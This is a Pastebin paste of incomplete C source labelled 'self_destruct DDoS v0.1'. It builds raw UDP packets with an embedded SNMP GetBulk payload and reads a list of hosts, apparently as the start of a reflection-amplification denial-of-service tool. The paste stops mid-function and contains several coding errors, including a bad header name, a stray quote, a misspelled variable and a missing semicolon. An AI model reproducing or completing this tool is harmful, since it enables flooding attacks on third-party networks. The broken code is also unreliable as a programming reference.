Guest User

DefCon 21 self_destruct.c (incomplete)

a guest
Dec 9th, 2013
2,421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.63 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <netinet/in_sysm.h>
  6.  
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/udp.h>
  13.  
  14. struct sockaddr_in dest;
  15.  
  16. int sok,i=0, count=0, loop=0, lcount=0;
  17.  
  18. char *source, *filename;
  19. char c;
  20.  
  21. FILE *hostfile;
  22. char buf[32];
  23. u_long address[2048];
  24. int num = 0,n;
  25. char udpkill[] =
  26. "\x30\x24\x02\x01\x01\x04\x06\070\x75\x62\x6c\x69\x63\xa5\x17\x02"
  27. "\x04\x7b\x73\xcc\x13\x02\x01\x00\x02\x01\x64\x30\x09\x30\x07\x06"
  28. "\x03\x2b\x06\x01\x05";
  29.  
  30. in_cksum (unsigned short "ptr, int nbytes)
  31. {
  32.     register long sum;
  33.     u_short oddbyte;
  34.     register u_short answer;
  35.    
  36.     sum = 0;
  37.     while (nbytes > 1)
  38.         {
  39.         sum += *ptr++;
  40.         nbytes -=2;
  41.         }
  42.     if (nbytes == 1)
  43.         {
  44.         oddbyt = 0;
  45.         *((u_char *) & oddbyte) = *(u_char *) ptr;
  46.         sum += oddbyte;
  47.         }
  48.    
  49.     sum = (sum >> 16) + (sum & 0xfffff); /*add high-16 to low-16 */
  50.     sum += (sum >> 16); /* add carry */
  51.     answer = -sum /* ones-complement, then truncate to 16 bits */
  52.     return (answer);
  53. }
  54.  
  55. void usage (void)
  56. {
  57.     printf("self_destruct DDoS v0.1\n");
  58.     printf("Usage: self_destruct [-t target ip_addr] [-f host file] [-l loop count] \n");
  59. }
  60.  
  61. void loadfile (void)
  62. {
  63.     if ((hostfile = fopen(filename, "r")) == NULL)
  64.     {
  65.         perror("Opening hostfile");
  66.         exit(-1);
  67.     }
  68.    
  69.     while (fgets(buf, sizeof buf, hostfile) != NULL)
  70.     {
  71.         char *p;
  72.         int valid;
  73.        
  74.         /* skip over comments/blank lines */
  75.         if (buf[0] == '#'|| buf[0] == '\n') continue;
  76.        
  77.         /* get rid of newline */
  78.         buf[strlen(buf) -1] = '\0';
  79.        
  80.         /* do stuff */
  81.     }
Advertisement
Add Comment
Please, Sign In to add comment